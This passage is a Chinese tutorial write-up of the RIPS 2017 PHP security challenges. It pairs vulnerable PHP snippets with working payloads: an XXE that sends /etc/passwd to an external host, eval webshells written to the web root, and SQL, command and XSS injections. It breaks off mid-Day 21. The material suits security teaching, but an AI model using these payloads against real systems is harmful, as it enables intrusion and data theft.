题目地址: https://www.ripstech.com/php-security-calendar-2017/
RIPS团队在17年12月1-24日发布的新年礼物–每日一个PHP代码挑战,包含了一些新颖的知识点。
Day 1 - Wish List
code:
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;
public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}
public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}
$challenge = new Challenge($_FILES['solution']);
漏洞:
存在任意文件上传漏洞,造成漏洞的代码:
if (in_array($this->file['name'], $this->whitelist)) {
代码的目的是想要通过 in_array()
来判断文件名是否为整数,但是这里in_array()
函数未设置第三个参数,导致了安全问题。
in_array
函数在第三个参数未设置时默认为false,在比较的时候使用宽松比较,在比较文件名时会进行类型转换,例如6shell.php
就会通过比较成功上传,下面是手册中的函数定义。
in_array
in_array — 检查数组中是否存在某个值
说明
bool in_array ( mixed
$needle
, array$haystack
[, bool$strict
=FALSE
] )在
haystack
中搜索needle
,如果没有设置strict
则使用宽松的比较。
Day 2 - Twig
code:
// composer require "twig/twig"
require 'vendor/autoload.php';
class Template {
private $twig;
public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide »</a>';
// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}
public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}
public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}
(new Template())->render();
漏洞:
twig
是 PHP 的一个模板引擎。该代码存在XSS漏洞。
代码中有两处过滤,第一处在filter_var($nextSlide, FILTER_VALIDATE_URL)
,使用了FILTER_VALIDATE_URL 过滤器,没有使用标志来检验url,所以此处过滤很弱,只验证了://
*filter_var** : (PHP 5 >= 5.2.0, PHP 7)
功能 :使用特定的过滤器过滤一个变量
定义 [mixed filter_var ( mixed
$variable
[, int$filter
= FILTER_DEFAULT [, mixed$options
]] )
php > var_dump(filter_var('qaq://lanvnal',FILTER_VALIDATE_URL));
string(13) "qaq://lanvnal"
第二处过滤是{{link|escape}}
,这是twig自带的过滤器,在twig的文档中我们可以知道它是通过PHP的htmlspecialchars
来实现的,他会将特殊字符转换为 HTML 实体。
Internally, escape uses the PHP native htmlspecialchars function for the HTML escaping strategy.
htmlspecialchars :(PHP 4, PHP 5, PHP 7)
功能 :将特殊字符转换为 HTML 实体
定义 :string htmlspecialchars ( string
$string
[, int$flags
= ENT_COMPAT | ENT_HTML401 [, string$encoding
= ini_get(“default_charset”) [, bool$double_encode
= TRUE ]]] )& (& 符号) =============== & " (双引号) =============== " ' (单引号) =============== ' < (小于号) =============== < > (大于号) =============== >
可以使用JavaScript伪协议绕过。eg:
<a href="javascript:;">这个标签中的javascript是啥意思?</a>
href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。
这里的href=”javascript:;”,其中javascript:是伪协议,它可以让我们通过一个链接来调用javascript函数。javascript:是表示在触发<a>默认动作时,执行一段JavaScript代码
所以绕过两处过滤的payload为:nextSlide=javascript://aaa%250aalert(1)
(%25是%的url编码)
://
绕过了FILTER_VALIDATE_URL
过滤器,经过escape
过滤器后link值为javascript://aaa%0aalert(1)
,%0a为换行符,//
注释掉了换行前面的内容,然后点击a标签链接就会触发XSS。
Day 3 - Snow Flake
Code:
function __autoload($className) {
include $className;
}
$controllerName = $_GET['c'];
$data = $_GET['d'];
if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}
class HomeController {
private $template;
private $variables;
public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}
public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}
漏洞:
第一个是文件包含,需要特定PHP版本(PHP5~5.3包含5.3版本)。
class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。
payload:../../../../../../passwd
第二个漏洞在$controller = new $controllerName($data['t'], $data['v']);
实例化类的类名和传入类的参数均在用户的控制之下。攻击者可以通过该漏洞,调用PHP的内置函数,并通过上面代码实例化。我们可以借助PHP中的SimpleXMLElement
类来完成XXE攻击。
payload:
http://localhost/test2.php?c=SimpleXMLElement&d=<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://外网地址/evil.dtd">
%remote;
%send;
]>
其中的evil.dtd
内容是:
<!ENTITY % all
"<!ENTITY % send SYSTEM '外网地址/1.php?file=%file;'>"
>
%all;
其中的1.php
的地址是:
file_put_contents("result.txt", $_GET['file']);
这样就完成了攻击。
Day 4 - False Beard
Code:
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}
public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}
new Login($_POST['username'], $_POST['password']);
漏洞:
问题出在strpos
函数和PHP的自动类型转换上。eg:
php > var_dump(strpos('abcd','a'));
int(0)
php > var_dump(strpos('abcd','x'));
bool(false)
php > var_dump(0==false);
bool(true)
如果我们传入的username
和password
的首位字符是<
或者是>
就可以绕过限制,那么最后的pyaload就是:
username=<"><injected-tag%20property="&password=<"><injected-tag%20property="
最终传入到$this->login($xmlElement)
的$xmlElement
值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml>
这样就可以进行注入了。
Day 5 - Postcard
code:
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}
return escapeshellarg($email);
}
public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}
if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}
if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}
if (!isset($data['message'])) {
$data['message'] = '';
}
mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}
$mailer = new Mailer();
$mailer->send($_POST);
漏洞:
考察由 php 内置函数 mail 所引发的命令执行漏洞。我们先看看 php 自带的 mail 函数的用法:
bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)
其参数含义分别表示如下:
- to,指定邮件接收者,即接收人
- subject,邮件的标题
- message,邮件的正文内容
- additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
- additional_parameters,指定传递给发送程序sendmail的额外参数。
在Linux系统上, php 的 mail 函数在底层中已经写好了,默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:
-O option = value
QueueDirectory = queuedir 选择队列消息
-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
eg:
<?php
$to = 'Alice@example.com';
$subject = 'Hello Alice!';
$message = '<?php phpinfo(); ?>';
$header = 'CC: somebodyelse@example.com';
$options = '-OQueueDirectory = /tmp -X /var/www/html/shell.php';
mail($to, $subject, $message, $header, $options);
?>
上面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 中写入如下数据:
17220 <<< To: Alice@example.com
17220 <<< Subject: Hello Alice!
17220 <<< X-PHP-Originating-Script: 0:test.php
17220 <<< CC: somebodyelse@example.com
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]
然后是过滤函数,这里escapeshellcmd() 和 escapeshellarg 一起使用,会造成特殊字符逃逸。
参考:
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day5/files/README.md
Day 6 - Frost Pattern
code:
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}
public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}
public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}
$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);
漏洞:
正则表达式有问题,开发者本来的意思应该是将a-z
和.-_
这三个符号外的全部替换为空,这样../../../xx
就无法使用,防止进行路径穿越。但是没对-
进行转义,所以匹配范围就变成了a-z
和.
字符到 _
字符之间的所有字符。
正则表达式 | 说明 |
---|---|
[^a-zA-Z] | 它匹配任何不包含从a到z、A到Z的字符的字符串。 |
>>> ord('.')
46
>>> ord('_')
95
>>> ord('/')
47
完美避开了../
字符,这样就造成了目录穿越,上面代码可以进行任意文件删除了。
payload:
action=delete&data=../../config.php
Day 7 - Bells
code:
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}
$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';
漏洞:
parse_str
导致了变量覆盖漏洞,通过它可以覆盖掉$config
变量,使数据库配置信息可控。
功能 :parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。
定义 :
void parse_str( string $encoded_string [, array &$result ] )
如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
Payload:
http://host/?config[dbhost]=10.0.0.5&config[dbuser]=root&config[dbpass]=root&config[dbname]=test&id=1
Day 8 - Candle
code:
header("Content-Type: text/plain");
function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}
foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}
漏洞:
preg_replace:(PHP 5.5)
功能 : 函数执行一个正则表达式的搜索和替换
定义 :
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
导致问题出在/e
上,/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码执行(在适当的逆向引用替换完之后)。第二个参数即用来替换的参数是strtolower("\\1")
,strtolower
是转换小写字母的函数,\\1
表示正则匹配到的第一个内容,这是正则表达式反向引用的知识。
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
现在可用的参数有preg_replace
的第一、三参数,那么我们就可以控制replacement参数来执行php代码。
正则参数使用.*
来匹配任何字符是最方便的选择,但是这里通过GET传入后发现没有匹配到任何字符,因为我们传上去的.*
变成了 _*
,这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。那么可以换用\S*
来达到相同的效果。(\S:用于匹配除单个空格符之外的所有字符)
再就是要执行的PHP代码,要匹配到 {${phpinfo()}}**才能执行 **phpinfo 函数。这实际上是 PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。
Payload1:/?.*={${phpinfo()}}
,利用了反向引用,在直接写进代码时可成功执行,但由于特殊符号.
通过GET方法传入时会被替换为_
,从而导致无法成功匹配。
所以最后payload为:\S*={${phpinfo()}}
Day 9 - Rabbit
code:
class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}
private function getBrowserLanguage()
{
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}
private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}
(new LanguageManager())->loadLanguage();
漏洞:
存在任意文件包含漏洞,问题出在str_replace('../', '', $language)
,问题就是这个包含只是单次替换而不是循环替换,所以这种替换就很容易被绕过。只需要叠写一下就好了,如...//
。而且$_SERVER['HTTP_ACCEPT_LANGUAGE']
这个变量是客户端可控的。
payload:
Accept-Language: .//....//....//etc/passwd
Day 10 - Anticipation
code:
extract($_POST);
function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}
if (!isset($pi) || !is_numeric($pi)) {
goAway();
}
if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}
漏洞:
- 使用header()进行跳转的时候没有使用
exit()
或者是die()
,导致后续的代码任然可以执行。assert()
能够执行"
中的代码,如assert("(int)phpinfo()");
这道题目实际上讲的是当检测到攻击时,虽然有相应的防御操作,但是程序未立即停止退出,导致程序继续执行的问题。程序在 第一行处 使用 extract 函数,将 POST 请求的数据全都注册成变量。程序对 pi 变量进行简单的验证,如果不是数字或者没有设置 pi 变量,程序就会执行 goAway 方法,即记录错误信息并直接重定向到 /error/ 页面。但是关键在于,程序在处理完之后,没有立即退出,这样程序又会按照流程执行下去,也就到了 第11行 的 assert 语句。由于前面 pi 变量可以被用户控制,所以在这一行存在远程代码执行漏洞。
例如我们的payload为:pi=phpinfo() ,然后程序就会执行这个 phpinfo 函数。用 BurpSuite ,可以清晰的看到程序执行了 phpinfo 函数。
Day 11 - Pumpkin Pie
code:
class Template {
public $cacheFile = '/tmp/cachefile';
public $template = '<div>Welcome back %s</div>';
public function __construct($data = null) {
$data = $this->loadData($data);
$this->render($data);
}
public function loadData($data) {
if (substr($data, 0, 2) !== 'O:'
&& !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}
public function createCache($file = null, $tpl = null) {
$file = $file ?? $this->cacheFile;
$tpl = $tpl ?? $this->template;
file_put_contents($file, $tpl);
}
public function render($data) {
echo sprintf(
$this->template,
htmlspecialchars($data['name'])
);
}
public function __destruct() {
$this->createCache();
}
}
new Template($_COOKIE['data']);
漏洞:
代码中的??
是php7中新的语法糖。??
的含义是
由于日常使用中存在大量同时使用三元表达式和 isset()的情况, 我们添加了null合并运算符 (??) 这个语法糖。如果变量存在且值不为NULL, 它就会返回自身的值,否则返回它的第二个操作数。
这道题目使用了unserialize()
和__destruct
,是考察反序列化漏洞的典型套路。题目的本意很简单,将页面上的内容Welcome back %s
最后输出到/tmp/cachefile
文件中。而题目最大的问题是需要绕过:
substr($data, 0, 2) !== 'O:'
preg_match('/O:\d:/', $data)
第一个通过数组的方式就可以绕过,而第二个的绕过则需要利用到PHP中的反序列化的一个BUG,只需要在对象长度前添加一个+号,即o:14->o:+14,这样就可以绕过正则匹配。关于这个BUG的具体分析,可以参见php反序列unserialize的一个小特性。
接下来就是构造payload了:
class Template {
public $cacheFile = '/var/www/html/shell.php';
public $template = '<?php eval($_POST[xx]);?>';
}
$mytemp = new Template();
$myarray = array($mytemp);
$myarray = serialize($myarray);
var_dump($myarray);
string(124) "a:1:{i:0;O:8:"Template":2:{s:9:"cacheFile";s:23:"/var/www/html/shell.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}"
由于需要绕过preg_match('/O:\d:/', $data)
,需要将O:8
变为O:+8
,则最后的payload为:
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:23:"/var/www/html/shell.php";s:8:"template";s:25:"<?php eval($_POST[xx]);?>";}}
Day 12 - String Lights
code:
$sanitized = [];
foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}
$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));
$query = implode('&', $queryParts);
echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";
漏洞:
本题目的关键是在于$sanitized[$key] = intval($value);
,同时漏洞也是出自于$sanitized[$key] = intval($value);
。这行代码主要就是的作用就是传入的$value
进行过滤变为intval($value)
,之后再次经过htmlentities
进行过滤拼接到<a>
标签中作为/images/size.php
的参数。
上述代码的问题在于:
$sanitized[$key] = intval($value)
只过滤了value,没有对key进行过滤;htmlentities
默认情况下不会对单引号进行转义。
那么我们的XSS攻击就可以通过在标签<a>
中增加一个onclick
的点击事件触发。最后的payload如下/?a'onclick%3dalert(1)%2f%2f=c
Day 13 - Turkey Baster
code:
class LoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}
$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}
漏洞:
这是段登录认证代码,通过POST传入user和passwd参数,然后通过isValid
函数验证合法性。在该函数内,user和password变量都会经过sanitizeInput
函数处理后再带入sql语句执行。
看一下sanitizeInput
是怎么处理的,先使用addslashes
处理,然后限制长度,超过20就截取前20字符。
addslashes — 使用反斜线引用字符串
string addslashes ( string $str )
作用:在单引号(’)、双引号(”)、反斜线(\)与 NUL( NULL 字符)字符之前加上反斜线。
按说把引号都转义了就不用引发注入了,但是利用substr函数,在\
和'
之间截取,利用\转义sql语句中原本用来包裹$user
的后单引号,起到如下效果:
select count(p) from user u where user = '1234567890123456789\' AND password = '$pass'
然后让user=or 1=1#
,sql语句就变成了:
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
此我们可以保证带入数据库执行的结果为 True ,然后就能够顺利地通过验证。
Day 14 - Snowman
code:
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;
public function __construct($input) {
$this->id = rand(1, 1000);
foreach ($input as $field => $count) {
$this->$field = $count++;
}
}
public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}
$carrot = new Carrot($_GET);
漏洞:
任意文件写,可以导致getshell。这里$this->$field = $count++;
,由于、a++
和++a
的差别,这里$field
仍是$count
的值,同时$this->$field
可以修改类的任何属性造成了变量覆盖。例如:id=../../../../var/www/html/shell.php
。就控制了写文件的路径。
再就是写入文件的内容,var_export(get_object_vars($this), true)
,作用是将类中各属性转换成数组然后再转成字符串形式。
get_object_vars — 返回由对象属性组成的关联数组
var_export — 输出或返回一个变量的字符串表示
这样一来,全部的属性都会输出,而且这个过程没有转义,我们就可以构造新的属性进行写入。
通过闭合数组或者将shell内容用"
包裹起来达到目的。
payload1:
shell="<?php eval($_POST[xx]); ?>"
string(131) "array (
'id' => '../../../var/www/html/shell.php',
'lost' => 0,
'bought' => 0,
'shell' => '"<?php eval($_POST[xx]); ?>"',
)"
payload2:
shell=',),<?php phpinfo(); ?>//
string(129) "array (
'id' => '../../../var/www/html/shell.php',
'lost' => 0,
'bought' => 0,
'shell' => '\',),<?php phpinfo(); ?>//',
)"
如果按照开发者原本意思进行自增操作,变为++$count
也是可以利用的。
$test = 123; echo ++$test; // 124
$test = '123'; echo ++$test; // 124
$test = '1ab'; echo ++$test; // '1ac'
$test = 'ab1'; echo ++$test; // 'ab2'
$test = 'a1b'; echo ++$test; // 'a1c'
$test =array(2,'name'=>'wyj'); echo ++$test; //Array123
通过分析发现,在进行++
操作时会进行隐式类型转换,如果能够转换成功,则会进行加法操作;如果不能转换成功,则将最后一个字符进行加法操作。
payload变为:
id=../../var/www/html/test/shell.php4
or
id=../../var/www/html/test/shell.pho
Day 15 - Sleigh Ride
code:
class Redirect {
private $websiteHost = 'www.vulnspy.com';
private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}
public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}
if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}
这一关主要考察的是 $_SERVER['PHP_SELF']
引发的一个任意网址跳转漏洞
首先,分析一下程序的运行
- 如果有
$_GET['redirect']
参数,那么就 New 一个Redirect
对象,同时调用Redirect
类的startRedirect
方法 startRedirect
函数接受一个 GET 类型的 params 参数,然后在explode()
函数中,将$_SERVER['PHP_SELF']
得到的值,以 / 分割成一个$parts
数组。$baseFile
的值为 $parts 数组的最后一个值- $url 的值为
$baseFile?http_build_query($params)
,其中的 http_build_query() 函数就是一个将参数进行URL编码的一个操作,比如 $params=’test=123’ - 然后调用 setHeaders 函数,首先解码 $url 参数,然后 header() 函数直接跳转 $url
$_SERVER[‘PHP’] 存在的问题:
初看这个程序没什么问题,但是PHP自带的*$_SERVER[‘PHP_SELF’]** 参数是可以控制的。其中 PHP_SELF 指当前的页面绝对地址,比如我们的网站:*http://www.test.com/redict/index.php\,那么*PHP_SELF** 就是 /redict/index.php 。但有个小问题很多人没有注意到,当URL是PATH_INFO的时候,比如:*http://www.test.com/redict/index.php/admin\,那么*PHP_SELF*就是**/redict/index.php/admin** 也就是说,其实 PHP_SELF 有一部分是我们可以控制的。
双编码问题:
URL本来是被浏览器编码过一次,服务器接收到来自浏览器URL请求的时候,会将URL解码一次,由于在程序中我们看到有 urldecode() 函数存在,它会再次解码一次URL,此时双编码URL就可以利用,用于绕过某些关键词检测。比如将 / 编码为: %252f
Payload:
http://www.test.com/index.php/http:%252f%252flanvnal.com?redirect=test¶ms=test123
Day 16 - Poem
code:
class FTP {
public $sock;
public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);
$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}
private function cleanInput() {
array_filter($_GET, 'intval');
array_filter($_POST, 'intval');
array_filter($_COOKIE, 'intval');
}
public function login($username, $password) {
fwrite($this->sock, "USER " . $username);
fwrite($this->sock, "PASS " . $password);
}
public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode");
}
}
public function send($data) {
fputs($this->sock, $data);
}
}
new FTP('localhost', 21, 'user', 'password');
漏洞:
虽然使用了cleanInput
函数过滤了$GET,$POST,$COOKIE
,将他们强制转成整型数据。但是后面却传入了一个从 REQUEST方式获取的 mode变量。
超全局数组 $_REQUEST 中的数据,是 $_GET 、 $_POST 、 $_COOKIE 的合集,而且数据是复制过去的,并不是引用。
所以 REQUEST 数据丝毫不受过滤函数的影响,最后过滤没起到任何作用。而且第21行比较使用的==
弱比较,使用payload:**?mode=1%0a%0dDELETE%20test.php**
Day 17 - Mistletoe
code:
class RealSecureLoginManager {
private $em;
private $user;
private $password;
public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}
public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);
$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}
public function sanitizeInput($input) {
return addslashes($input);
}
}
$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}
漏洞:
这道题目是第13题的升级版本,我们知道在13题中主要是利用了addslashes
和字符串截断的方式所造成的\
逃逸从而形成的注入。本题最终的目的还是形成SQL注入从而进行任意账户登录。本题的关键问题是在于md5($this->password, true);
md5 — 计算字符串的 MD5 散列值
string md5 ( string
$str
[, bool$raw_output
= false ] )raw_output
如果可选的
raw_output
被设置为 **TRUE
**,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
eg:
php > var_dump(md5('1'));
string(32) "c4ca4238a0b923820dcc509a6f75849b"
php > var_dump(md5('1',true));
�P�ou��"6) "��B8��#�
如果我们能够保证最后经过md5($this->password, true);
最后的字符串是\
,那么就和Day13一样的效果,能绕过登录验证,通过fuzz,我们发现md5(128,true)
得到的是v�an���l���q��\
。
payload为passwd=128&user=' or 1=1#
Day 18 - Sign
code:
class JWT {
public function verifyToken($data, $signature) {
$pub = openssl_pkey_get_public("file://pub_key.pem");
$signature = base64_decode($signature);
if (openssl_verify($data, $signature, $pub)) {
$object = json_decode(base64_decode($data));
$this->loginAsUser($object);
}
}
}
(new JWT())->verifyToken($_GET['d'], $_GET['s']);
漏洞:
问题出在openssl_verify
的错误使用。
int openssl_verify ( string
$data
, string$signature
, mixed$pub_key_id
[, mixed$signature_alg
= OPENSSL_ALGO_SHA1 ] )openssl_verify() verifies that the
signature
is correct for the specifieddata
using the public key associated withpub_key_id
. This must be the public key corresponding to the private key used for signing.返回值
Returns 1 if the signature is correct, 0 if it is incorrect, and -1 on error.
错误的情况返回-1
,这样的话就通过if判断了,因为if只在遇到0
或者是false
返回的才是false
,那么只要让他出错就能绕过验证。如果让openssl_verify()
出错呢?我们使用一个其他的pub_key.pem
来生成data
和signature
,这样就可以使得openssl_verify()
返回-1。
Day 19 - Birch
code:
class ImageViewer {
private $file;
function __construct($file) {
$this->file = "images/$file";
$this->createThumbnail();
}
function createThumbnail() {
$e = stripcslashes(
preg_replace(
'/[^0-9\\\]/',
'',
isset($_GET['size']) ? $_GET['size'] : '25'
)
);
system("/usr/bin/convert {$this->file} --resize $e
./thumbs/{$this->file}");
}
function __toString() {
return "<a href={$this->file}>
<img src=./thumbs/{$this->file}></a>";
}
}
echo (new ImageViewer("image.png"));
漏洞:
问题出在stripcslashes
函数,看一下PHP手册中的介绍。
stripcslashes
stripcslashes — 反引用一个使用 addcslashes() 转义的字符串
说明
string stripcslashes ( string
$str
)返回反转义后的字符串。可识别类似 C 语言的 \n,\r,… 八进制以及十六进制的描述。
PS:还有一个类似的函数stripslashes
反引用一个引用字符串。
差别在于stripcslashes
会转义C语言以及十进制和8进制。例如:
php > var_dump(stripcslashes('\x30\x3b\x73\x6c\x65\x65\x70\x20\x35\x3b'));
string(10) "0;sleep 5;" //十六进制
php > var_dump(stripcslashes('0\073\163\154\145\145\160\0405\073'));
string(10) "0;sleep 5;" //八进制
正则/[^0-9\\\]/
限制了只能使用数字和\
,所以可以使用八进制配合``stripcslashes拼接
/usr/bin/convert {$this->file} –resize $e`执行命令,造成命令注入漏洞。
eg:传入:size=0\073\163\154\145\145\160\0405\073
/usr/bin/convert images/image.png --resize 0;sleep 5; ./thumbs/image.png
Day 20 - Stocking
code:
set_error_handler(function ($no, $str, $file, $line) {
throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);
class ImageLoader
{
public function getResult($uri)
{
if (!filter_var($uri, FILTER_VALIDATE_URL)) {
return '<p>Please enter valid uri</p>';
}
try {
$image = file_get_contents($uri);
$path = "./images/" . uniqid() . '.jpg';
file_put_contents($path, $image);
if (mime_content_type($path) !== 'image/jpeg') {
unlink($path);
return '<p>Only .jpg files allowed</p>';
}
} catch (Exception $e) {
return '<p>There was an error: ' .
$e->getMessage() . '</p>';
}
return '<img src="' . $path . '" width="100"/>';
}
}
echo (new ImageLoader())->getResult($_GET['img']);
漏洞:
问题在于提供了错误显示,并且将错误输出了出来。可以利用错误信息的输出进行信息探测。
set_error_handler(function ($no, $str, $file, $line) { throw new ErrorException($str, 0, $no, $file, $line);}, E_ALL);
这个就类似于设置如下的代码:
error_reporting(E_ALL);ini_set('display_errors', TRUE);ini_set('display_startup_errors', TRUE);
如此就会包含所有的错误信息。加上
'There was an error: ' .$e->getMessage() . ''
就导致会在页面上显示所有的信息,包括warning信息。
正常情况下,如果使用file_get_contents('http://127.0.0.1:80')
显示的仅仅只是warning信息
,在正常的PHP页面中是不会显示warning信息的。但是在开启了上述的配置之后,所有的信息都会在页面上显示。这样就导致我们可以通过SSRF来探测内网的端口和服务了。
Day 21 - Gift Wrap
code:
declare(strict_types=1);
class ParamExtractor {
private $validIndices = [];
private function indices($input) {
$validate = function (int $value, $key) {
if ($value > 0) {
$this->validIndices[] = $key;
}
};
try {
array_walk($input, $validate, 0);
} catch (TypeError $error) {
echo "Only numbers are allowed as input";
}
return $this->validIndices;
}
public function getCommand($parameters) {
$indices = $this->indices($parameters);
$params = [];
foreach ($indices as $index) {
$params[] = $parameters[$index];
}
return implode($params, ' ');
}
}
$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);
declare(strict_type=1);是php7引入的
严格类型检查模式
的指定语法.在进行函数调用的时候会进行参数类型检查。如果参数类型不匹配则函数不会被调用
按说在声明了严格类型检查的模式下经过validate()
